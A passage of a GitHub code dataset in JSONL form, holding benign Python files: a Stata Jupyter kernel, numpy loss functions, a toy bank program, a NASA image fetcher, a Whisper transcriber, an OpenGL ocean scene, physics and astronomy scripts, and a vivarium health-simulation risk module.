version.parse(\"0.1.1\"):\n # Splash message control is a new feature of pystata-0.1.1\n pystata.config.init(edition,splash=splash)\n else:\n pystata.config.init(edition)\n\n def do_execute(self, code, silent, store_history=True, user_expressions=None,\n allow_stdin=False):\n\n # Launch Stata if it has not been launched yet\n if not self.stata_ready:\n env = self.env = get_config()\n self.launch_stata(env['stata_dir'],env['edition'],\n False if env['splash']=='False' else True)\n\n # This can only be imported after locating Stata\n import pystata\n \n if env['echo'] not in ('True','False','None'):\n raise OSError(\"'\" + env['echo'] + \"' is not an acceptable value for 'echo'.\")\n\n # Set graph format\n if env['graph_format'] == 'pystata':\n pass\n else:\n from pystata.config import set_graph_format\n set_graph_format(env['graph_format'])\n\n # Magics\n from .magics import StataMagics\n self.magic_handler = StataMagics()\n\n self.stata_ready = True\n\n # Read settings from env dict every time so that these can be modified by magics \n # for each cell.\n if self.env['echo'] == 'None':\n self.noecho = True\n self.echo = False\n elif self.env['echo'] == 'True':\n self.noecho = False\n self.echo = True\n else:\n self.noecho = False\n self.echo = False\n self.quietly = False\n \n try:\n # Process magics\n code = self.magic_handler.magic(code,self) \n \n # Execute Stata code after magics\n if code != '':\n # Supress echo?\n if self.noecho and not self.quietly:\n from .helpers import noecho_run\n noecho_run(code)\n else:\n from pystata.stata import run\n run(code, quietly=self.quietly, inline=True, echo=self.echo)\n\n\n self.shell.execution_count += 1\n\n return {'status': 'ok',\n 'execution_count': self.execution_count,\n 'payload': [],\n 'user_expressions': {},\n }\n\n except SystemError as err:\n return _handle_stata_error(err, silent, self.execution_count)\n\ndef print_red(text):\n print(f\"\\x1b[31m{text}\\x1b[0m\")\n\ndef print_stata_error(text):\n lines = text.splitlines()\n if len(lines) > 2:\n print(\"\\n\".join(lines[:-2]))\n print_red(\"\\n\".join(lines[-2:]))\n\ndef _handle_stata_error(err, silent, execution_count):\n reply_content = {\n \"traceback\": [],\n \"ename\": \"Stata error\",\n \"evalue\": str(err),\n }\n if not silent:\n print_stata_error(reply_content['evalue'])\n reply_content.update({\n 'status': \"error\",\n 'execution_count': execution_count,\n })\n return reply_content","repo_name":"ticoneva/pystata-kernel","sub_path":"pystata-kernel/kernel.py","file_name":"kernel.py","file_ext":"py","file_size_in_byte":4513,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"5274120011","text":"import numpy as np\ndef softmax_loss(x,y=None):\n \"\"\"\n Input:\n x of shape (N,D)\n y of shape (N,). It is the class values\n Output:\n loss: Loss Value\n dx: Softmax Loss wrt the input. Same Shape as x\n \"\"\"\n maximum = np.max(x,axis=1)\n shifted_x = x - maximum[:,np.newaxis]\n exp_x = np.exp(shifted_x)\n scores = exp_x/np.sum(exp_x,axis=1)[:,np.newaxis]\n N,D = x.shape\n predicted = np.argmax(scores,axis=1)\n if y is None:\n return predicted\n loss = 0\n loss += np.sum(-np.log(scores[range(N),y]))/N\n \n offset = np.zeros_like(scores)\n offset[range(N),y]=1\n dx = (scores-offset)/N\n return predicted,loss,dx\n\ndef temporal_softmax_loss(x, y, mask, verbose=False):\n N, T, V = x.shape\n\n x_flat = x.reshape(N * T, V)\n y_flat = y.reshape(N * T)\n mask_flat = mask.reshape(N * T)\n\n probs = np.exp(x_flat - np.max(x_flat, axis=1, keepdims=True))\n probs /= np.sum(probs, axis=1, keepdims=True)\n loss = -np.sum(mask_flat * np.log(probs[np.arange(N * T), y_flat])) / N\n dx_flat = probs.copy()\n dx_flat[np.arange(N * T), y_flat] -= 1\n dx_flat /= N\n dx_flat *= mask_flat[:, None]\n\n if verbose: print('dx_flat: ', dx_flat.shape)\n\n dx = dx_flat.reshape(N, T, V)\n\n return loss, dx","repo_name":"sharnam19/I-Speak-BBT","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21788465850","text":"print(\"\\t\\t\\tWelcome to our Bank\")\nprint(\"Press 1 to Check your balance.\")\nprint(\"Press 2 to Check Details.\")\nprint(\"Press 3 to Withdraw.\")\nprint(\"Press 4 to Deposit.\\n\")\n\nclass Bank:\n def __init__(self, name, balance=0):\n self.name = name\n self.balance = balance\n\n def check_balance(self):\n return self.balance\n\n def withdraw(self, amount):\n if self.balance > amount:\n self.balance -= amount\n return f'Your current balance is : ${self.balance}'\n\n def deposit(self, amount):\n self.balance += amount\n return f'Your current balance is : ${self.balance}'\n\n def __str__(self):\n return f'Owner : {self.name}\\nBalance : ${self.balance}'\n\n\n\nCondition = input(\"Do you want to perform any of these ?(y/n) : \").lower()\n\nif Condition == 'y':\n Transaction = True\nelif Condition == 'n':\n Transaction = False\n\nwhile Transaction:\n user_name = input(\"Enter your name : \")\n balance = int(input(\"Enter your balance : \"))\n\n Information = Bank(user_name, balance)\n \n user_input = int(input(\"Enter your requirements : \"))\n\n while user_input not in [1,2,3,4]:\n user_input = int(input(\"Please! Choose a number : \"))\n continue\n else:\n try:\n if user_input == 1:\n print(Information.check_balance())\n elif user_input == 2:\n print(Information)\n elif user_input == 3:\n withdraw = int(input(\"Enter the amount you want to withdraw : \"))\n print(Information.withdraw(withdraw)) \n elif user_input == 4:\n deposit = int(input(\"Enter the amount you want to deposit : \"))\n print(Information.deposit(deposit))\n finally:\n Condition = input(\"Do you want to do anything else : \").lower()\n if Condition == 'y':\n Transaction = True\n elif Condition == 'n':\n Transaction = False\n\nprint(\"Thanks for visiting the bank.\")\n\n\n","repo_name":"nirmaljb/Bank-Account-Game","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4163497019","text":"import json\nimport pandas as pd\nimport sys\n\ndef analysis(file,user_id):\n\n\ttry:\n\t\tdata=pd.read_json(file)\n\texcept ValueError:\n\t\treturn 0,0\t\n\tuser_data=data[data['user_id']==user_id].minutes\n\ttimes=user_data.count()\n\tminutes=user_data.sum()\n\n\treturn times,minutes\n\nif __name__=='__main__':\n\tprint(analysis(sys.argv[1],int(sys.argv[2])))","repo_name":"xiajiezai/shiyanlou4","sub_path":"challenge13_handle_JSON_with_pandas/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22765038153","text":"import time\n\n# Function for countdown timer\ndef countdown(t): \n while t:\n mins, secs = divmod(t, 60)\n timer = '{:02d}:{:02d}'.format(mins, secs)\n print(timer, end=\"\\r\")\n time.sleep(1)\n t -= 1","repo_name":"rifkyashari/binance-futures-trading-bot","sub_path":"timer.py","file_name":"timer.py","file_ext":"py","file_size_in_byte":232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3746998999","text":"import os\nimport requests\nfrom urllib.parse import urlparse\nfrom common_functions import download_image, read_db\nfrom dotenv import load_dotenv\n\n\nNASA_URL = 'https://api.nasa.gov/planetary/apod'\n\n\ndef get_file_extension(url):\n path = urlparse(url).path\n path, extension = os.path.splitext(path)\n return extension\n\n\ndef get_images_nasa(nasa_url, nasa_key, img_limit=30):\n params = {'api_key': nasa_key, 'count': img_limit}\n response = requests.get(nasa_url, params=params)\n response.raise_for_status()\n images = {}\n for img_meta in response.json():\n if img_meta['media_type'] == 'image':\n img_description = img_meta['explanation'].replace('\\\"', ' ').replace('\\'', ' ')\n images.update({img_meta['url']: img_description})\n return images\n\n\ndef fetch_nasa(nasa_url, nasa_key, img_limit=30):\n image_descriptions = read_db()\n images = get_images_nasa(nasa_url, nasa_key, img_limit=img_limit)\n for index, url in enumerate(images):\n extension = get_file_extension(url)\n img_name = f'nasa_{index}{extension}'\n download_image(url, f'./images/{img_name}')\n description = images[url]\n image_descriptions.update({img_name: description})\n with open('./images/db.txt', 'w') as file:\n file.write(str(image_descriptions).replace(\"\\'\", \"\\\"\"))\n\n\nif __name__ == '__main__':\n load_dotenv()\n nasa_key = os.environ['NASA_KEY']\n fetch_nasa(NASA_URL, nasa_key)\n","repo_name":"AntonGorynya/space-telegram","sub_path":"fetch_nasa_images.py","file_name":"fetch_nasa_images.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"39647502362","text":"from functools import lru_cache\nfrom typing import BinaryIO, Optional, Union\n\nimport numpy as np\nfrom faster_whisper import WhisperModel\n\n\nclass Transcriber:\n \"\"\"\n Transcriber class to transcribe audio file to text using pretrained Faster Whisper.\n \"\"\"\n\n def __init__(\n self,\n model_path: str = \"faster-whisper-small\",\n device: str = \"cpu\",\n compute_type: str = \"float32\",\n ):\n \"\"\"\n Initialize the Whisper model.\n \"\"\"\n self._load_model(model_path=model_path, device=device, compute_type=compute_type)\n\n @lru_cache(maxsize=1)\n def _load_model(self, model_path, device: str = \"cpu\", compute_type: str = \"float32\"):\n self.model = WhisperModel(model_path, device=device, compute_type=compute_type)\n\n def transcribe(\n self,\n audio: Union[str, BinaryIO, np.ndarray],\n beam_size: int = 5,\n language: Optional[str] = None,\n ):\n \"\"\"\n Transcribes an input file.\n\n Args:\n audio: Path to the input file (or a file-like object), or the audio waveform.\n beam_size: Beam size to use for decoding.\n language: The language spoken in the audio (supported by Whisper).\n\n Returns:\n A dictionary with the following structure:\n {\n 'info': {\n 'language': 'en',\n 'language_probability': 0.99,\n },\n 'segments': [\n {'start': 0.0, 'end': 0.5, 'text': 'Hello world.'},\n {'start': 0.5, 'end': 1.0, 'text': 'How are you?'},\n ],\n }\n \"\"\"\n segments, info = self.model.transcribe(audio, beam_size=beam_size, language=language)\n result = {\n \"info\": {\n \"language\": info.language,\n \"language_probability\": info.language_probability,\n },\n \"segments\": [\n {\"start\": segment.start, \"end\": segment.end, \"text\": segment.text}\n for segment in segments\n ],\n }\n return result\n","repo_name":"zero-nnkn/vision-assistant-services","sub_path":"apis/stt/src/stt/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"30148851356","text":"import math\r\n\r\ndef getVector(a, b):\r\n x1, y1 = a\r\n x2, y2 = b\r\n return (x2 - x1, y2 - y1)\r\n\r\n\r\ndef addVectos(a, b):\r\n x1, y1 = a\r\n x2, y2 = b\r\n return (x2 + x1, y2 + y1)\r\n\r\n\r\ndef multiplyVectors(a, b):\r\n x1, y1 = a\r\n x2, y2 = b\r\n return (x2 * x1, y2 * y1)\r\n\r\n\r\ndef scaleVectorByFactor(a, sc):\r\n x, y = a\r\n return (sc * x, sc * y)\r\n\r\ndef vectorMagnitude(a):\r\n x, y = a\r\n return math.sqrt(x * x + y * y)\r\n\r\n\r\ndef unitVector(a):\r\n x, y = a\r\n magnitude = vectorMagnitude(a)\r\n return (x / magnitude, y / magnitude)\r\n\r\ndef checkIfPointIsOnLine(a, b, c, value):\r\n # a Number\r\n # / \\\r\n # / \\\r\n # b __Line___c\r\n\r\n vec_ab = getVector(a, b)\r\n vec_ac = getVector(a, c)\r\n vec_bc = getVector(b, c)\r\n distance_ab = vectorMagnitude(vec_ab)\r\n distance_ac = vectorMagnitude(vec_ac)\r\n distance_bc = vectorMagnitude(vec_bc)\r\n # print('AB = ' + str(DistanceAB) + ', AC = ' + str(DistanceAC) + ', BC = ' + str(DistanceBC))\r\n distance = distance_bc - distance_ab - distance_ac\r\n # print(str(dist))\r\n (x1, y1) = vec_bc\r\n (x2, y2) = vec_ac\r\n # for points below line\r\n cross_product = x1 * y2 - y1 * x2\r\n\r\n if( distance > -7.5 and cross_product > -1000):\r\n return True\r\n else:\r\n return False\r\n","repo_name":"lukakovac/sc2018","sub_path":"mathHelper.py","file_name":"mathHelper.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35944596229","text":"from datetime import datetime, timedelta\ndef dim_branch(**kwargs):\n time_now = datetime.now()\n time_diff = time_now - kwargs['execution_date']\n print('time diff: ', time_diff)\n print('start_date: ', kwargs['dag'].start_date)\n print('execution date: ', kwargs['execution_date'])\n \n # if dag run is the first interval or dag run is current then load dimension tables\n if kwargs['execution_date'] == kwargs['dag'].start_date or time_diff < timedelta(hours=1):\n return ['stage_users_dim',\n 'stage_projects_dim',\n 'stage_videos_dim']\n else:\n return 'skip_dimension_tables'","repo_name":"marshall7m/data-engineering-capstone","sub_path":"airflow/plugins/operator_functions/dim_branch.py","file_name":"dim_branch.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"38303938675","text":"import numpy as np\nimport astropy.io.fits\nimport sys\nimport matplotlib.pyplot as plt\nimport os\nimport pickle\nfrom astropy.constants import h, c\n\nh = h.si.value\nc = c.si.value\nM_TO_UM = 1e6\n\ndef air_to_vac(wavelength):\n \"\"\"\n Implements the air to vacuum wavelength conversion described in eqn 65 of\n Griesen 2006. Taken from specutils. wavelength must be in um.\n \"\"\" \n return (1 + 1e-6*(287.6155 + 1.62887/wavelength**2 + 0.01360/wavelength**4)) * wavelength\n\nbinned_wavelengths = np.load(\"R10000/wavelengths.npy\")\nbinned_wavelengths = air_to_vac(binned_wavelengths * M_TO_UM) / M_TO_UM\n\noutput_spectra = {}\n\nfor temperature in np.arange(2000, 12000, 100):\n filename = \"bt-settl-agss2009/lte{0:03d}-4.5-0.0a+0.0.BT-Settl.7.dat.txt\".format(int(temperature/100))\n alt_filename = \"bt-settl-agss2009/lte0{0}-4.5-0.0.BT-Settl.7.dat.txt\".format(int(temperature/100))\n \n if os.path.isfile(filename):\n wavelengths, spectrum = np.loadtxt(filename, unpack=True)\n elif os.path.isfile(alt_filename):\n wavelengths, spectrum = np.loadtxt(alt_filename, unpack=True)\n else:\n continue\n wavelengths *= 1e-10 #Angstrom to SI\n spectrum *= 1e7 #u.erg/u.cm**2/u.s/u.Angstrom to SI\n\n d_ln_wavelengths = np.median(np.diff(np.log(binned_wavelengths)))\n d_wavelengths = binned_wavelengths * d_ln_wavelengths\n photon_energies = h*c/binned_wavelengths\n \n binned_spectrum = np.interp(binned_wavelengths, wavelengths, spectrum)\n binned_spectrum *= d_wavelengths/photon_energies #photon flux\n\n output_spectra[temperature] = binned_spectrum\n print(temperature, np.min(binned_spectrum), np.max(binned_spectrum))\n\npickle.dump(output_spectra, open(\"stellar_spectra.pkl\", \"wb\"), protocol=pickle.HIGHEST_PROTOCOL)\n\n \n","repo_name":"ideasrule/platon","sub_path":"misc/high_res_create_stellar_spectrum.py","file_name":"high_res_create_stellar_spectrum.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"48"} +{"seq_id":"40753737885","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"cmdshow-anihm136\",\n version=\"0.1.0\",\n author=\"Example Author\",\n author_email=\"anihm136@gmail.com\",\n description=\"A library and tool to create slideshows from images\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/anihm136/cmdshow\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Development Status :: 3 - Alpha\",\n \"Intended Audience :: End Users/Desktop\"\n ],\n python_requires=\">=3.8\",\n)\n","repo_name":"anihm136/cmdshow","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"16154137112","text":"__author__ = \"Peter Bennett\"\n__copyright__ = \"Copyright 2012, Peter A Bennett\"\n__license__ = \"LGPL\"\n__maintainer__ = \"Peter Bennett\"\n__email__ = \"pab850@gmail.com\"\n__contact__ = \"www.bytebash.com\"\n\n''' \nThis class implements the ocean surface algorithms detailed in Tessendorf's\n\"Simulating Ocean Water\". A 2D heightmap representing the surface of a body\nof water is generated.\n'''\n\n\"\"\" Renderer Imports \"\"\"\nfrom pyglet import *\nfrom pyglet.gl import *\nfrom ctypes import pointer, sizeof\nfrom pyglet.window import key, mouse\nfrom vector import Vector2, Vector3\nfrom water import Ocean\nfrom skybox import Skybox\nimport shader\n \nclass Scene():\n def __init__(self, window, camera, options):\n ''' Constructor '''\n # Options\n self.options = options\n # Register the renderer for control input\n self.keys = key.KeyStateHandler()\n self.pressedKeys = {}\n self.window = window\n self.window.push_handlers(self.on_key_press)\n self.window.push_handlers(self.on_key_release)\n self.window.push_handlers(self.on_mouse_motion)\n self.window.push_handlers(self.keys) \n # Window size\n (szx, szy) = self.window.get_size()\n self.windowWidth = szx\n self.windowHeight = szy\n self.camera = camera\n \n self.time = 0.0\n \n # Ocean Render Parameters\n self.wireframe = False\n self.oceanDepth = self.options.getfloat('Scene', 'oceandepth')\n self.enableUpdates = True\n self.oceanWind = Vector2(\n self.options.getfloat('Scene', 'oceanwindx'),\n self.options.getfloat('Scene', 'oceanwindy'))\n self.oceanWaveHeight = self.options.getfloat('Scene', 'oceanwaveheight')\n self.oceanTileSize = self.options.getint('Scene', 'oceantilesize')\n self.oceanTiles = Vector2(\n self.options.getint('Scene', 'oceantilesx'),\n self.options.getint('Scene', 'oceantilesy'))\n self.period = self.options.getfloat('Scene', 'period')\n self.env_path = self.options.get('Scene', 'env_path')\n self.frame = 0\n self.skyboxScale = 640.0\n self.skyboxOffset = Vector3(0.0,0.0,0.0)\n\n # Compile the shader\n self.skyboxShader = shader.openfiles('shaders/skybox.vertex', 'shaders/skybox.fragment')\n\n # Renderables\n self.scene = []\n \n self.skybox = Skybox(\n self.skyboxShader,\n self.camera,\n self.skyboxScale,\n self.skyboxOffset,\n xpos_path=self.env_path + '/xpos.tga',\n ypos_path=self.env_path + '/ypos.tga',\n zpos_path=self.env_path + '/zpos.tga',\n xneg_path=self.env_path + '/xneg.tga',\n yneg_path=self.env_path + '/yneg.tga',\n zneg_path=self.env_path + '/zneg.tga',\n )\n self.scene.append(self.skybox)\n \n self.ocean = Ocean(\n self.camera,\n cubemap=self.skybox,\n depth=self.oceanDepth,\n waveHeight=self.oceanWaveHeight,\n wind=self.oceanWind,\n tileSize=self.oceanTileSize,\n tilesX=self.oceanTiles.x,\n tilesZ=self.oceanTiles.y,\n period=self.period\n )\n self.scene.append(self.ocean) \n\n \n def statusUpdates(self, dt):\n '''\n Called periodically by main loop for onscreen text updates\n '''\n self.status.setParameter('Wind', self.oceanWind)\n self.status.setParameter('Wave height', self.oceanWaveHeight)\n self.status.setParameter('Ocean depth', self.oceanDepth)\n self.status.setParameter('Time', self.time)\n\n def draw(self, dt):\n \n # Set depth\n if self.isKeyPressed(key.C):\n self.oceanDepth += 1\n self.ocean.setDepth(self.oceanDepth)\n elif self.isKeyPressed(key.V) and self.oceanDepth > 0:\n self.oceanDepth -= 1\n self.ocean.setDepth(self.oceanDepth)\n \n # Update camera orientation and position\n self.cameraUpdate(dt)\n \n if self.enableUpdates:\n self.time += dt\n else:\n dt = 0.0\n \n # Draw scene\n if self.wireframe:\n glPolygonMode(GL_FRONT, GL_LINE)\n else:\n glPolygonMode(GL_FRONT, GL_FILL)\n \n for drawable in self.scene:\n drawable.draw(dt)\n\n glPolygonMode(GL_FRONT, GL_FILL)\n\n \n def cameraUpdate(self, dt):\n self.camera.update(dt)\n \n if self.isKeyPressed(key.W):\n self.camera.addVelocity(0.0, 0.0, 2.0)\n if self.isKeyPressed(key.S):\n self.camera.addVelocity(0.0, 0.0, -2.0)\n if self.isKeyPressed(key.A):\n self.camera.addVelocity(-2.0, 0.0, 0.0)\n if self.isKeyPressed(key.D):\n self.camera.addVelocity(2.0, 0.0, 0.0)\n if self.isKeyPressed(key.Q):\n self.camera.addAngularVelocity(0.0, 0.0, 2)\n if self.isKeyPressed(key.E):\n self.camera.addAngularVelocity(0.0, 0.0, -2)\n def on_key_press(self, symbol, modifiers):\n \"\"\" Handle key press events\"\"\"\n \n # Set the pressedKeys dict to allow us to have while-key-pressed actions\n self.pressedKeys[symbol] = True\n \n if symbol == key.L:\n self.wireframe = not self.wireframe\n if symbol == key.SPACE:\n self.enableUpdates = not self.enableUpdates\n\n if symbol == key.NUM_1:\n self.oceanWind.x *= 2.0\n self.ocean.setWind(self.oceanWind)\n if symbol == key.NUM_2:\n self.oceanWind.x /= 2.0\n self.ocean.setWind(self.oceanWind)\n if symbol == key.NUM_4:\n self.oceanWind.y *= 2.0\n self.ocean.setWind(self.oceanWind)\n if symbol == key.NUM_5:\n self.oceanWind.y /= 2.0\n self.ocean.setWind(self.oceanWind)\n if symbol == key.NUM_7:\n self.oceanWaveHeight *= 2.0\n self.ocean.setWaveHeight(self.oceanWaveHeight)\n if symbol == key.NUM_8:\n self.oceanWaveHeight /= 2.0\n self.ocean.setWaveHeight(self.oceanWaveHeight)\n if symbol == key.P:\n self.ocean.reloadShaders()\n \n def isKeyPressed(self, symbol):\n if symbol in self.pressedKeys:\n return self.pressedKeys[symbol]\n return False\n \n def on_key_release(self, symbol, modifiers):\n \"\"\" Handle key release events \"\"\"\n self.pressedKeys[symbol] = False\n \n def on_mouse_motion(self, x, y, dx, dy):\n \"\"\" Handle mouse motion events \"\"\"\n self.camera.addAngularVelocity(-dx/2., dy/2., 0.0)","repo_name":"lordmauve/wasabi-peace","sub_path":"bitsofeight/pabennett_ocean/source/scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":6783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"5899894704","text":"import numpy as np\nimport matplotlib.pyplot as plt \nimport math\n\nk = 0.75\ndt = 0.05\nx0 = 40\ny0 = 0\n\n\n\ndef main(init):\n position = np.zeros((2,5000))\n position[0][0] = -2\n position[1][0] = -2 + init\n vx = 1.5\n vy = 0\n r0 = math.sqrt((position[0][0]-x0)**2 + (position[1][0]-y0)**2 )\n for t in range(5000):\n if t == 0:\n ax = k*(position[0][0]-x0)/(r0**3)\n ay = k*(position[1][0]-y0)/(r0**3)\n else:\n position[0][t] = position[0][t-1] + vx*dt\n position[1][t] = position[1][t-1] + vy*dt\n\n r = math.sqrt((position[0][t]-x0)**2 + (position[1][t]-y0)**2 )\n\n ax = k*(position[0][t]-x0)/(r**3)\n ay = k*(position[1][t]-y0)/(r**3)\n\n vx = vx + ax*dt\n vy = vy + ay*dt\n return position\n\nfor i in range(20):\n p = main(i*0.2)\n plt.plot(p[0] , p[1], c = 'c')\nplt.title('Geiger–Marsden experiment',fontproperties='SimHei',fontsize=18,color='g')\nplt.show()\n\n \n","repo_name":"Sthyao/computational_physics","sub_path":"scatter.py","file_name":"scatter.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"3214596974","text":"from abc import abstractmethod, ABC\nimport pickle\nfrom typing import Callable, Dict, Tuple\n\nimport numpy as np\nimport pandas as pd\n\nfrom vivarium.framework.engine import Builder\nfrom vivarium.framework.lookup import LookupTable\nfrom vivarium.framework.population import PopulationView, SimulantData\nfrom vivarium.framework.values import Pipeline\nfrom vivarium_public_health.risks import Risk, RiskEffect\nfrom vivarium_public_health.risks import data_transformations\nfrom vivarium_public_health.risks.distributions import SimulationDistribution\n\nfrom vivarium_ciff_sam.constants import data_keys, data_values, metadata\n\n\nclass LBWSGSubRisk(Risk, ABC):\n \"\"\"\"\n Risk component for the individual aspects of LBWSG (i.e. birth weight and gestational age).\n `risk_factor.low_birth_weight_and_short_gestation` must exist.\n \"\"\"\n\n RISK_NAME = 'low_birth_weight_and_short_gestation'\n\n def __init__(self, risk: str):\n super(LBWSGSubRisk, self).__init__(risk)\n self._sub_components = []\n self.birth_exposure_pipeline_name = f'{self.risk.name}.birth_exposure'\n self.lbwsg_exposure_pipeline_name = f'{data_keys.LBWSG.name}.exposure'\n self.exposure_column_name = f'{self.risk.name}_exposure'\n self.risk_specific_shift_pipeline_name = f'{self.risk.name}.risk_specific_shift'\n\n ##########################\n # Initialization methods #\n ##########################\n\n def _get_exposure_distribution(self) -> SimulationDistribution:\n return None\n\n #################\n # Setup methods #\n #################\n\n # noinspection PyAttributeOutsideInit\n def setup(self, builder: Builder) -> None:\n super().setup(builder)\n self.lbwsg_exposure = self._get_lbwsg_exposure_pipeline(builder)\n self.category_intervals = self._get_category_intervals(builder)\n self.risk_specific_shift = self._get_risk_specific_shift_pipeline(builder)\n self.birth_exposure_pipeline = self._get_birth_exposure_pipeline(builder)\n\n def _get_propensity_pipeline(self, builder: Builder) -> Pipeline:\n # Propensity only used on initialization; not being saved to avoid a cycle\n return None\n\n def _get_exposure_pipeline(self, builder: Builder) -> Pipeline:\n return builder.value.register_value_producer(\n self.exposure_pipeline_name,\n source=self._get_current_exposure,\n requires_columns=[self.exposure_column_name],\n preferred_post_processor=data_transformations.get_exposure_post_processor(builder, self.risk)\n )\n\n def _get_birth_exposure_pipeline(self, builder: Builder) -> Pipeline:\n return builder.value.register_value_producer(\n self.birth_exposure_pipeline_name,\n source=self._get_birth_exposure,\n requires_columns=['age', 'sex'],\n requires_values=[\n self.lbwsg_exposure_pipeline_name,\n self.risk_specific_shift_pipeline_name,\n ],\n requires_streams=[self._randomness_stream_name],\n preferred_post_processor=data_transformations.get_exposure_post_processor(builder, self.risk)\n )\n\n def _get_population_view(self, builder: Builder) -> PopulationView:\n return builder.population.get_view(['tracked', self.exposure_column_name])\n\n def _register_simulant_initializer(self, builder: Builder) -> None:\n builder.population.initializes_simulants(\n self.on_initialize_simulants,\n creates_columns=[self.exposure_column_name],\n requires_streams=[self._randomness_stream_name],\n requires_values=[self.birth_exposure_pipeline_name]\n )\n\n def _get_lbwsg_exposure_pipeline(self, builder: Builder) -> Pipeline:\n return builder.value.get_value(self.lbwsg_exposure_pipeline_name)\n\n def _get_risk_specific_shift_pipeline(self, builder: Builder) -> Pipeline:\n return builder.value.register_value_producer(\n self.risk_specific_shift_pipeline_name,\n source=builder.lookup.build_table(0),\n )\n\n @classmethod\n def _get_category_intervals(cls, builder: Builder) -> pd.Series:\n return cls.get_intervals_from_categories(builder.data.load(f'risk_factor.{data_keys.LBWSG.name}.categories'))\n\n ########################\n # Event-driven methods #\n ########################\n\n def on_initialize_simulants(self, pop_data: SimulantData) -> None:\n birth_exposure = pd.Series(self.birth_exposure_pipeline(pop_data.index), name=self.exposure_column_name)\n self.population_view.update(birth_exposure)\n\n ##################################\n # Pipeline sources and modifiers #\n ##################################\n\n def _get_current_exposure(self, index: pd.Index) -> pd.Series:\n exposure = self.population_view.get(index)[self.exposure_column_name]\n return exposure\n\n def _get_birth_exposure(self, index: pd.Index) -> pd.Series:\n propensities = pd.Series(self.randomness.get_draw(index), name=self.propensity_column_name)\n lbwsg_categories = self.lbwsg_exposure(index)\n risk_specific_shift = self.risk_specific_shift(index)\n\n def get_exposure_from_category(row: pd.Series) -> float:\n category_interval = self.category_intervals[row[lbwsg_categories.name]]\n exposure = (\n row[propensities.name]\n * (category_interval.right - category_interval.left)\n + category_interval.left\n )\n return exposure\n\n risk_deleted_exposure = (\n pd.concat([lbwsg_categories, propensities], axis=1)\n .apply(get_exposure_from_category, axis=1)\n .sub(risk_specific_shift)\n )\n risk_deleted_exposure.name = self.exposure_pipeline_name\n return risk_deleted_exposure\n\n ##################\n # Helper methods #\n ##################\n\n @classmethod\n def get_intervals_from_categories(cls, categories: Dict[str, str]) -> pd.Series:\n category_endpoints = pd.Series(\n {cat: cls.parse_description(description) for cat, description in categories.items()},\n name=f'{cls.RISK_NAME}.endpoints'\n )\n category_endpoints.index.name = 'parameter'\n return category_endpoints\n\n @staticmethod\n @abstractmethod\n def parse_description(description: str) -> pd.Interval:\n # descriptions look like this: 'Birth prevalence - [34, 36) wks, [2000, 2500) g'\n pass\n\n\nclass LowBirthWeight(LBWSGSubRisk):\n\n RISK_NAME = 'low_birth_weight'\n\n def __init__(self):\n super().__init__(f'risk_factor.{LowBirthWeight.RISK_NAME}')\n\n @staticmethod\n def parse_description(description: str) -> pd.Interval:\n # descriptions look like this: 'Birth prevalence - [34, 36) wks, [2000, 2500) g'\n endpoints = pd.Interval(*[float(val) for val in description.split(', [')[1].split(')')[0].split(', ')])\n return endpoints\n\n\nclass ShortGestation(LBWSGSubRisk):\n\n RISK_NAME = 'short_gestation'\n\n def __init__(self):\n super().__init__(f'risk_factor.{ShortGestation.RISK_NAME}')\n\n @staticmethod\n def parse_description(description: str) -> pd.Interval:\n # descriptions look like this: 'Birth prevalence - [34, 36) wks, [2000, 2500) g'\n endpoints = pd.Interval(*[float(val) for val in description.split('- [')[1].split(')')[0].split(', ')])\n return endpoints\n\n\nclass LBWSGRiskEffect(RiskEffect):\n # calculate individual's RRs on simulant initialization and store in a column which is source of RR\n\n def __init__(self, target: str):\n super().__init__('risk_factor.low_birth_weight_and_short_gestation', target)\n self.lbwsg_exposure_pipeline_name = f'{data_keys.LBWSG.name}.exposure'\n self.low_birth_weight_pipeline_name = 'low_birth_weight.exposure'\n self.short_gestation_pipeline_name = 'short_gestation.exposure'\n self.early_neonatal_relative_risk_column_name = (f'effect_of_{self.risk.name}_on_early_neonatal'\n f'_{self.target.name}_relative_risk')\n self.late_neonatal_relative_risk_column_name = (f'effect_of_{self.risk.name}_on_late_neonatal'\n f'_{self.target.name}_relative_risk')\n self.relative_risk_pipeline_name = f'effect_of_{self.risk.name}_on_{self.target.name}.relative_risk'\n\n #################\n 